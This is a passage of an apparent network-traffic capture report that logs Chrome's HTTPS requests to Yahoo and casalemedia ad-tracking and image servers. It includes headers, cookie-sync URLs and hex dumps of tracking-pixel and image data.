axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:20 UTC	503	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:20 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:20 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
407	192.168.2.4	50200	172.64.151.101	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	792	OUT	GET /usermatchredir?s=184023&gdpr_consent=&gdpr=&gpp=&gpp_sid=&google_gid=CAESENB3vkDtn5oxWvBwA9gFXWc&google_cver=1 HTTP/1.1 Host: ssum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
2024-01-10 23:27:20 UTC	989	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:20 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8438b0a87c723946-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:20 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=253; Path=/; Domain=casalemedia.com; Expires=Tue, 09 Apr 2024 23:27:20 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=An5%2BVP3tU6YpQKKMoI8F9S3dy95Rw2z8ODz9V%2BY3z5gnJYTdsWwTLI6K6Ltdjni9jPclLnZwp8ka6jgngl7aaxfMUhAfpT7D37UH7%2BSKG%2BnqrZ6FtX%2FOW8RSC09Hw%2FH42yrIKItfBRi1Wg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:20 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
408	192.168.2.4	50202	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	493	OUT	GET /iu/api/res/1.2/LaVK5.znBhNMAKDUJz1a2g--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/20181030/500x500/celtics_wbg.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:20 UTC	1293	IN	HTTP/1.1 200 OK Content-Length: 4621 Content-Type: image/png Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 201425538486651660160846378276913358965,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Edge-Cache-Tag: 201425538486651660160846378276913358965,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Etag: "702d3d01fff4afe239bf8f1e5507a3ad" Expiration: expiry-date="Wed, 22 May 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 23 Nov 2023 07:16:12 GMT Server: ATS Surrogate-Reporting: width=50,height=50,bytes=4621,owidth=500,oheight=500,obytes=27888 Timing-Allow-Origin: * Accept-Ranges: bytes Date: Wed, 03 Jan 2024 06:15:17 GMT X-Served-By: cache-lga21980-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1704262517.158862,VS0,VE1 Age: 666723 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-lga21980-LGA cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"
2024-01-10 23:27:20 UTC	91	IN	Data Raw: 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 09 70 48 59 73 00 00 17 11 00 00 17 11 01 ca 26 f3 3f 00 00 00 07 74 49 4d 45 07 e7 0b 17 07 10 0b a5 d4 02 f1 00 00 11 ac 49 44 41 54 68 de c5 5a 07 54 55 c7 d6 16 d0 a8 31 a6 bc 3f d5 94 97 d8 62 03 29 52 14 29 82 f4 ae 14 95 96 80 80 34 69 22 20 4a ef 1d 94 0e 02 82 20 55 c1 12 0b c4 82 a2 d1 20 f6 58 62 37 51 b1 c4 18 0b 1a c3 f7 ef 99 0b 57 af 20 96 24 be 59 6b af 73 39 e7 cc 9c fd cd ee 7b e8 d7 ef 05 06 80 77 88 3c 88 ea 3a 3b 3b f7 d1 b5 91 28 92 68 74 1f 73 18 29 12 85 10 c5 13 cd 20 ea df ef 7f 35 e8 e3 86 7f 3e 7a d4 be 61 75 3d 72 bc bd e1 3e d3 02 4b 9d e6 a2 22 3b 07 d7 6f de 7c 44 cf a3 89 c4 bb de 1d 41 64 4b 94 4c b4 f7 c4 a9 d3 88 Data Ascii: PNGIHDR22?pHYs&?tIMEIDAThZTU1?b)R)4i" J U Xb7QW $Yks9{w<:;;(hts) 5>zau=r>K";o\|DAdKL
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: 36 26 cc c3 de 4c 2f 3c 68 88 40 7a 4a 02 7a 1b 9b 76 ec c0 9b f3 05 de cf a8 22 04 57 ef fc 86 2d a7 5b d1 7c fe 30 64 fd 6c 50 b7 ee 3b f6 5a d0 8b 82 78 87 fc f8 cd 31 33 f4 b9 ae 3a 36 a4 90 f1 b5 23 64 6b 09 06 c7 18 43 c2 47 13 0d 4d 8d 68 5e 95 89 1d d9 81 d8 b7 ff 00 4e 9d 39 cb 7c bf 50 55 d6 c4 b9 63 cf d2 f9 5c 1a 8c 4e 93 34 18 00 46 3f 12 98 b6 43 47 f0 ac 51 df d8 08 09 6f 4d 24 ee aa e6 76 d2 78 66 3f cc ab 22 11 d4 b8 1c a3 4c 74 f0 e0 c1 c3 db f4 da fb 2f 02 24 a8 64 55 35 de 9d af 8b c2 fd 1b 51 76 b0 09 df 9f 69 c3 1f 1d f7 30 26 cd 01 e1 79 99 fc 83 7b 76 b7 e0 50 9e 1f be cf 0e c6 81 83 a2 6a 52 50 54 88 d2 65 71 d8 9e ea 8e 8e 2e 00 ed 95 8b b9 9d 58 9b a9 a2 32 c9 12 5b 9a b6 e0 d1 5f 7f e1 fa 8d 9b 3d c0 84 e6 2c c5 c0 30 03 ec b9 Data Ascii: 6&L/<h@zJzv"W-[\|0dlP;Zx13:6#dkCGMh^N9\|PUc\N4F?CGQoM$vxf?"Lt/$dU5Qvi0&y{vPjRPTeq.X2[_=,0
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: 78 9d 11 6b 80 c5 04 e6 bd 68 3d 8c a2 58 12 1f ef 8b 13 3f 9f c6 59 0a ac dd 63 db ce 96 5e d7 76 4b 8f e6 6b f8 6f ce 43 fc ce 4a c4 ee 5c 85 31 14 68 57 54 d6 b0 c7 f6 bd 01 31 6b d8 b8 19 e2 4e 2a 10 8b 14 00 18 48 f5 00 bb ce 8c f1 7f 26 88 73 b4 b3 89 e1 33 d0 40 fa 6f db 65 d0 39 21 fa 70 8d 36 14 d9 8c 14 02 52 4f cf 82 e9 9a 99 b4 90 cf ad ac ab 17 ae d3 55 40 f5 18 66 d1 7e 8f d5 aa fb 4a 3c d6 7f b7 99 3d 9e d1 1b 90 49 3c aa cf 9e 0c 3b 0a 82 76 ab 13 b9 87 d0 2a 0d c2 78 df 59 cf 04 32 2f 2b 86 2f 6e 9a 64 8c 30 b2 03 66 e4 e9 81 ba 88 27 86 59 24 57 25 7b 59 44 f7 ad 92 8d 31 9a 24 33 86 ee 39 fa 98 e0 7e 47 07 97 0a 4b 20 d9 66 54 d7 af c5 1e b2 95 a7 c7 58 6f 4b 4c cc 71 c5 f1 6b 17 b9 eb 0d dd ba 02 e2 b3 26 93 87 3c cc 1e 4f ea 0d c8 d0 Data Ascii: xkh=X?Yc^vKkoCJ\1hWT1kNH&s3@oe9!p6ROU@f~J<=I<;vxY2/+/nd0f'Y$W%{YD1$39~GK fTXoKLqk&<O
2024-01-10 23:27:20 UTC	721	IN	Data Raw: 31 86 b9 1a 0a 1a 7f b4 eb c1 f2 d2 f0 50 96 15 01 32 d8 50 11 5b 05 09 65 ec df 69 64 b3 f6 50 4d 2d d5 de 03 4d 95 78 8a 20 b2 5b 3e d3 e0 e8 eb cf d5 66 b6 93 3b 37 f8 ee c1 6a 9b 2f a5 95 44 a4 31 e4 f3 51 58 ba a2 04 96 d1 0b f1 96 b3 a6 f0 28 a2 9b b4 34 e5 78 93 fc 0b 5b 65 41 d2 6a ac 88 1a 41 dd 5f f3 b7 8e 16 ba c0 0c 64 a7 57 2c 33 1e 6a 30 99 ef 9e c8 c1 cc 42 52 a5 4f 87 63 1a a9 c6 44 79 29 d8 04 78 71 db f1 5d 1c 2e 22 09 76 65 81 b6 fb 64 ab 37 52 d7 95 e7 47 16 ef 7c 3b 15 43 f5 27 a3 41 90 e1 ae 7f a9 7e ef 73 c0 0c e8 44 67 49 2b 65 9c 2c 20 89 2d d0 14 61 a0 bf d4 58 a4 85 cf 45 4e 4a 00 86 39 a8 f0 14 67 6e 40 00 de 1f 25 88 e8 03 c6 7e 0d 71 47 95 3e 0f 77 18 59 a8 c9 c2 75 fc 04 8c d2 d3 ea ce 22 4a d8 b7 ff e9 c3 51 46 1e b7 7e bf Data Ascii: 1P2P[eidPM-Mx [>f;7j/D1QX(4x[eAjA_dW,3j0BROcDy)xq]."ved7RG\|;C'A~sDgI+e, -aXENJ9gn@%~qG>wYu"JQF~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
409	192.168.2.4	50203	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	534	OUT	GET /uu/api/res/1.2/QKRnSYFFrkJivKfVckKVVQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/av/curveball/ads/pr/RESIZE_AND_CROP/1200x627/effb8e3da44bc6b557d36a7429190d20.jpeg HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:20 UTC	1292	IN	HTTP/1.1 200 OK Content-Length: 35305 Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 237791665996249927436111567475869940743,479651796159299122488289403061957739757,ae7a14591aaf8d474cdb3f92111c923e Edge-Cache-Tag: 237791665996249927436111567475869940743,479651796159299122488289403061957739757,ae7a14591aaf8d474cdb3f92111c923e Etag: "83aba72f07516cf57b2de4431258dd9b" Expiration: expiry-date="Wed, 03 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 04 Jan 2024 05:59:34 GMT Server: ATS Surrogate-Reporting: width=536,height=284,bytes=35305,owidth=1200,oheight=627,obytes=123865,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Thu, 04 Jan 2024 05:59:34 GMT X-Served-By: cache-lga21938-LGA X-Cache: Miss from cloudfront, MISS X-Cache-Hits: 0 X-Timer: S1704347975.627692,VS0,VE30 Age: 581266 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:20 UTC	25	IN	Data Raw: 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: ATS-Carp-Promotion: 1
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 96 00 96 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c0 00 11 08 01 1c 02 18 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 05 06 03 04 07 02 01 00 08 ff c4 00 4a 10 00 02 01 03 02 04 03 05 05 06 05 02 04 05 03 05 01 02 03 00 04 11 05 21 06 12 31 41 13 51 61 07 22 32 71 81 14 23 91 a1 b1 15 42 Data Ascii: JFIFC%# , #&')*)-0-(0%()(C((((((((((((((((((((((((((((((((((((((((((((((((((("J!1AQa"2q#B
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: 2f b7 2b 2a 9f e5 5a 8f b4 cb 59 75 2e 19 7b 6b 5b 03 1b 64 3a 81 d0 e0 e6 bf 3f 5d 24 b6 ee c9 3c 52 46 54 e0 87 52 08 ab 42 72 b6 db f6 6b 22 71 d7 a3 ee 48 e2 f1 0c 63 77 25 98 f9 9a a1 70 bc ee 31 52 3c 99 1e ef eb 5c a3 03 b9 db e7 4a 4f d9 32 c6 bf af df 5c e9 36 1a 6c d3 07 86 dc 73 0c 1c 9f 4c fa d2 f5 d3 4a c1 4f 89 c9 19 1b d5 bb b0 86 e9 82 ef 91 8f ad 35 f0 bf 00 ea da fe 9c f7 49 6e c2 c0 7b be 21 ea c7 d0 77 ae 88 e4 6d f2 93 12 4e f4 20 59 38 56 7b 64 e9 cd cc 4e 73 9a 7a b0 46 8a c5 16 4d 8e 33 41 b5 ce 1e 5e 0b e2 0b 71 a8 4a 92 33 27 31 48 f2 70 4f 4c d1 4d 0a 79 38 83 89 ad 34 98 08 89 26 6e 56 91 bb 00 09 20 7a ed 46 7d ff 00 6e ca 55 b2 ed 85 e5 c5 a5 c4 57 d6 73 b4 2f 19 2a 85 54 12 7b 13 bd 02 e2 8e 2a 92 f6 46 89 21 fb c4 f7 4c f2 Data Ascii: /+ZYu.{k[d:?]$<RFTRBrk"qHcw%p1R<\JO2\6lsLJO5In{!wmN Y8V{dNszFM3A^qJ3'1HpOLMy84&nV zF}nUWs/T{*F!L
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: 6e 06 4f 24 8d 23 b3 33 16 39 24 93 dc f7 35 3e 96 9e 3e a3 0c 6c 76 76 0b bf 61 de aa b7 ba 02 0e bd e8 ef 09 e9 e9 73 75 25 c4 e3 30 c2 31 8c 12 09 fa 56 25 2a 4d 94 84 5b 92 46 c7 a1 df e9 96 11 a4 66 fa dc 63 18 1c d5 a1 69 17 56 d7 31 c5 35 b4 8a e0 ed b1 cd 67 5c 19 ad 69 0e bf 65 b9 d3 2e 65 84 6d cf 1d 9b 3a 8f cb 34 db c3 96 70 0e 26 92 d6 c3 dd b4 92 3f 11 54 6d ca 71 9c 57 1d 1e 8d ea 87 7b 6d 53 4e 86 33 1c b7 b6 c2 5e 9c 86 40 0e 7e 54 a9 ed 1e 38 e1 b2 b3 d7 6d 82 f8 f6 72 03 ce 3f 79 0e c5 4f a5 2c ea 5a ce 8d a5 eb f3 fe d6 b5 8d 4f 88 57 de 8b 9c 9c 1d ce 30 69 9f 58 3a 5e bb c1 5a b3 e8 32 23 21 b6 62 63 40 40 0c 06 41 2a 7e 13 b5 52 32 25 38 92 5b 4a 26 b3 82 54 60 ca e8 18 11 dc 1a 96 d4 bf db 6d f9 1f 90 f3 ee 7d 29 6f 80 2e 0d c7 07 Data Ascii: nO$#39$5>>lvvasu%01V%M[FfciV15g\ie.em:4p&?TmqW{mSN3^@~T8mr?yO,ZOW0iX:^Z2#!bc@@A~R2%8[J&T`m})o.
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: c7 24 e7 73 5c f3 b3 9f 78 9c 7a 9c d6 25 9d cb d1 3b 3f 4e 41 fb 2e ee c5 35 67 36 af 6c 50 37 8c d8 d8 7a d6 63 c7 3a dd b6 bd 79 79 6c ca c7 4f 88 85 82 24 40 81 d8 75 67 3d 71 e4 29 5b 40 9a 28 2d 9f ed a2 69 ec d7 0e 61 12 30 1c fd 8e 01 dc 83 5a cd 9f 05 e8 fa b6 8f 15 e2 25 fd ac 93 0c e2 5c 06 3e a4 57 5c f3 64 c9 1a 86 99 a5 46 6f a4 dd dd d9 b2 4b 68 de 08 8f 1c 84 0e 9f 2a dd f8 07 da 25 9d fe 8e 62 d5 e5 10 de db 80 18 9d fc 51 fc 40 52 0d d7 b3 6d 4a 63 20 d2 ae 61 b8 48 d7 e0 7f 75 87 f2 a0 d7 9c 31 af e9 0a a4 69 57 0b 8f fc d5 5e 6f d2 b9 f1 bc d8 5d d5 9a 36 3b cf 68 56 02 ea 35 b6 b6 b8 9a 2e 6c 34 98 e5 00 79 80 7a d5 dd 6b 8f 74 cd 39 60 fb 3f 35 db c9 bb 08 f6 e4 1e b9 ef e9 59 de 9f 0d 93 f0 f5 bd e5 fe ab 6b 6b 72 ca 44 90 bf ba ea Data Ascii: $s\xz%;?NA.5g6lP7zc:yylO$@ug=q)[@(-ia0Z%\>W\dFoKh*%bQ@RmJc aHu1iW^o]6;hV5.l4yzkt9`?5YkkrD
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: bb b9 69 67 72 e4 fe 55 0c d2 6d 55 34 73 4a ac 82 f6 e0 41 f6 89 39 4b c0 f9 25 4f e4 69 75 5e ef 52 97 9a 19 49 1f ba 8b 26 30 3e 54 7b c4 1c ad 1c a3 28 46 05 71 63 1c 76 d1 b8 b2 60 8a db 31 18 27 ae f8 3d ab ab c7 9a db 7d 09 46 c8 63 d3 2e 2f 0c 51 dc 23 ab 8c 02 c0 0c 91 f4 a3 12 70 ec 30 94 8e 2b 79 c3 36 30 d2 2e 33 f4 ae ad 78 d6 2d 14 7d 92 de cd 2e 6f 59 cb 16 23 24 02 06 c4 fe 3f 8d 47 ad be a5 c4 b3 ac f7 5a 9b db e4 00 b0 42 30 14 63 cf 3b d7 4a 4d db e8 b4 31 4a 4f 41 cd 16 38 34 a9 f9 6e 46 15 5b 0c 53 66 20 ff 00 d5 da bc d7 75 5d 39 6e 1a 58 55 a3 40 77 2c 79 8e 3c 86 fb 9a 51 6e 0d d4 84 6c 61 ba 37 20 fe eb e4 13 f2 de 86 dd e8 57 da 72 65 79 a3 39 cf 2b 8e 9f cf f5 ac fc 70 9f b2 d2 c3 25 1a 68 d3 f4 8e 3b e1 f8 a3 e5 ba 79 51 15 73 Data Ascii: igrUmU4sJA9K%Oiu^RI&0>T{(Fqcv`1'=}Fc./Q#p0+y60.3x-}.oY#$?GZB0c;JM1JOA84nF[Sf u]9nXU@w,y<Qnla7 Wrey9+p%h;yQs
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: 76 7a d7 af 77 69 16 aa 91 6a 91 20 e7 3e e5 ca 8c 1f 93 63 f5 ac ae 4b 6d 16 92 84 9e 99 77 86 cc f7 16 92 c1 7c 0e 54 65 43 76 a9 3d 99 da 1b ef 6a da 4a 20 ca c5 3b 48 58 79 28 27 3f a5 17 59 6c 89 55 b3 20 8e 5c 67 ce 8c fb 14 8a ca c7 da 03 44 b1 cb 25 d4 d0 3a f3 0f 86 2f de df e6 00 aa c1 90 ca b5 a3 54 e3 a1 8b ab 13 e8 68 cf 0c 9f fc 35 33 e6 68 47 1d ff 00 a8 b1 1e 86 8a 70 b9 ff 00 c3 87 ce b5 fd 47 3f a0 06 a9 ee f1 15 c7 fb 87 e9 4d da 61 ff 00 04 94 a5 ad 8f ff 00 50 4f eb 8f d2 9b 34 9f f4 08 6b 48 cb 28 eb 87 dc 8f 1f c5 55 ad be 21 56 35 d3 f7 71 ed fb d5 56 d8 e5 87 ce b4 02 9f b5 6d 58 d9 70 e6 a0 f1 ef 20 8c c1 18 f5 20 64 fe 60 7c b3 5f 91 f9 f1 6d 33 9f 88 be 77 f9 57 e8 7f 6d 97 85 f4 2b a2 bf 08 ba 31 80 0f 5c 73 13 b7 cc af e1 5f Data Ascii: vzwij >cKmw\|TeCv=jJ ;HXy('?YlU \gD%:/Th53hGpG?MaPO4kH(U!V5qVmXp d`\|_m3wWm+1\s_
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: 88 ec 6e 6f 23 29 14 4a dc 8a 30 72 4f 9d 26 de f1 06 a5 7d 62 f6 b3 dd cb 24 32 30 66 0c d9 dc 1a 67 b0 e3 fd 43 4f 9e db f6 5a ac 36 50 22 a0 80 8c 86 03 ae 4f ad 3e a3 b1 aa a2 96 af c2 ba d5 ad d9 8e 6b 1b 87 39 c0 75 5c 83 f2 35 d6 91 c2 1a ae a1 73 c9 6d 6d 89 c2 96 11 b9 0a 5b 1e 59 ad 8a db 5c d5 38 8f 85 97 52 d1 ec 51 86 48 91 01 cb 2e 3a ed 43 38 4f 56 b8 69 9a e2 ed 62 e6 8d 59 16 6e 5c 14 cf 95 4e a1 1e c5 46 67 63 a1 dc a6 bf 6d 63 77 6f 25 b5 c1 90 29 47 18 a3 bc 53 a4 cd 15 c4 8f 62 64 55 88 90 55 0f 45 1e 94 cd ab dd b5 e6 b3 0d f0 2a df 67 3e e9 63 ef 35 09 d4 67 d4 57 59 69 2c a3 66 59 c6 4a e3 cf a8 ad e3 71 94 58 a8 a1 c3 16 76 da 82 3c 5a 94 f2 45 2c 64 32 92 36 65 ee 3e 75 b2 c7 ad 09 23 58 e1 30 7d 89 14 28 0a de f0 c5 67 76 3a 1d Data Ascii: no#)J0rO&}b$20fgCOZ6P"O>k9u\5smm[Y\8RQH.:C8OVibYn\NFgcmcwo%)GSbdUUE*g>c5gWYi,fYJqXv<ZE,d26e>u#X0}(gv:
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: cb 56 65 68 dc 09 42 8c 92 a7 6c 8f 5c e2 a7 93 0d 7d a2 42 53 d6 cc ea d6 e2 59 61 b8 b5 b8 91 95 62 39 51 9e 95 77 47 9a f2 5d 36 52 97 20 0e 7c 46 00 03 02 95 b5 7b 1d 5a c6 ea 77 66 75 8a 71 ee b3 0e bf d2 8a 70 7d ef d8 6d 26 6d 52 d9 da c8 ae 7c 4e 5c 85 6a f2 b2 e1 c9 26 e9 d3 67 2d b4 c3 9a 90 97 c4 b4 bb bd 58 4a c4 7a 03 9e 6d bb d0 1d 42 18 6e 2f 61 fb 23 2c 25 d8 b1 08 c0 67 e9 54 2e f5 d4 bd 99 e3 88 49 ca 5b 08 a7 a5 1a d2 f8 7e dd 66 8a f2 68 d8 dc a2 e7 27 70 bf 2a 58 f1 e4 e2 be 49 5b 06 f9 74 47 c4 eb a7 43 a0 03 ca cd 7b d1 55 9b 01 b7 1f a5 7e 72 92 6e 6d 5a e8 a0 cf 33 33 01 f5 da b7 be 34 99 e4 b6 9c a0 25 52 32 43 60 75 e9 58 0e 98 bf f8 f8 86 46 c3 fb cb bf f1 57 a9 81 2a 67 5e 17 d0 5a de f2 2b 29 0c 16 d6 62 ee e0 fc 6c 7a ff 00 Data Ascii: VehBl\}BSYab9QwG]6R \|F{Zwfuqp}m&mR\|N\j&g-XJzmBn/a#,%gT.I[~fh'pXI[tGC{U~rnmZ334%R2C`uXFWg^Z+)blz
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: fd 68 c7 37 17 a1 e4 c7 cd 24 c7 fe 38 b0 0d ec 8b 59 b7 90 09 0c 16 d0 b6 4f 9a e0 e7 f2 af ca 29 33 5b ca 79 49 c7 95 7e 85 d7 ef b5 ad 67 d9 72 c1 c3 a5 9a 10 86 3b a5 93 79 67 8d 7b 2e d8 fe bf 95 7e 7a 90 06 63 9e b5 df 8e 49 c4 f2 f2 63 70 95 30 82 eb 13 04 e5 46 20 74 af a3 9d ee 24 1c cc 4d 43 a7 c3 11 63 e2 75 5d f0 68 e6 91 63 36 a7 7a 2d f4 db 67 9a 63 b0 58 d7 3f 8f 95 37 2a 05 16 f6 c7 7f 67 5a ed b7 09 dc a6 a1 71 17 89 17 f9 6c 03 60 8e 6d b3 5f a1 b8 4f 8a 74 ad 56 ee 01 05 c0 49 25 f8 12 4d 8b 7c bb 1a c4 ad 3d 98 4c fc 37 7c da bd cf 24 c6 12 d1 43 11 cf 2b 81 95 e6 6f 9f 61 f8 d2 1d 86 a1 79 63 6f 1c 62 67 88 c4 df fb 58 1f f8 aa e2 71 92 a2 39 53 4e cf d7 1c 7b 1f 3c 76 78 fe 23 56 f8 5d 4a da c8 3d 45 7e 6d 9b da 96 bf 75 63 0d a5 dc Data Ascii: h7$8YO)3[yI~gr;yg{.~zcIcp0F t$MCcu]hc6z-gcX?7*gZql`m_OtVI%M\|=L7\|$C+oaycobgXq9SN{<vx#V]J=E~muc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
410	192.168.2.4	50210	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	1226	OUT	GET /cksync.php?cs=1&vsid=3479308310180275000V10&type=dtm&refUrl=&vid=49292349683479308310180275000V10&ovsid=AAACWBRgpry45AN_rYmFAAAAAAA&axid_e=&expiration=1705015639&nuid={{AXID}}&gpp_sid=&gpp=&is_secure=true&gdpr_consent=&gdpr=0 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site 